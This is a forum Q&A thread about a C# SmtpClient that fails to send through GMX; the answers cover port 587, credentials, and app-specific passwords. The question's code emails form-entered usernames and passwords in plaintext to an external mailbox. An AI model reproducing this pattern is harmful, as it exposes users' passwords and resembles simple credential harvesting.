Sending an Email via c#.net SmtpClient doesn't work properly

3k views Asked by At

I have this code, used for sending emails from GMX mail to walla mail.

MailMessage mail = new MailMessage("[email protected]", "[email protected]");
            SmtpClient client = new SmtpClient();
            client.Port = 25;
            client.DeliveryMethod = SmtpDeliveryMethod.Network;
            client.UseDefaultCredentials = false;
            client.EnableSsl = true;
            client.Host = "mail.gmx.com";
            mail.Subject = "A new account was registered: ";
            mail.Body = string.Format("Username: {0}, Password: {1}", textBox1.Text, textBox2.Text);
            try
            {
                client.Send(mail);

            }
            catch (SmtpException ex)
            {
                System.Windows.Forms.MessageBox.Show(ex.ToString());
            }

Whenever I try running that code, I get an exception that I need a secured connection, but I have enabled SSL. What didn't I do properly? Thanks!

2

There are 2 answers

4
Przemysław Ładyński On BEST ANSWER

As mentioned on GMX page you must use port 587 when you use SSL/TLS connection: https://help.gmx.com/en/applications/pop3.html

  SmtpClient client = new SmtpClient();
  client.Port = 587;

I think you should also set the credentials to authentication to the SMTP client using the credentials for your mail account:

client.Credentials = new NetworkCredential("username", "password");
0
Basssprosse On

You need to generate an app-specific password on gmx.net. It requieres to enable 2factor-authentication.

Go to gmx.net > Settings > account > password

Here is the info-text from the website

Für die Nutzung externer E-Mail-Programme über POP3/IMAP oder die Einbindung Ihres GMX Kalenders/Adressbuchs (mit CalDav bzw. CardDav) in ein externes Programm, können Sie hier Anwendungsspezifische Passwörter erstellen und verwalten. Um Anwendungsspezifische Passwörter verwenden zu können, muss die 2-Faktor-Authentifizierung aktiviert sein.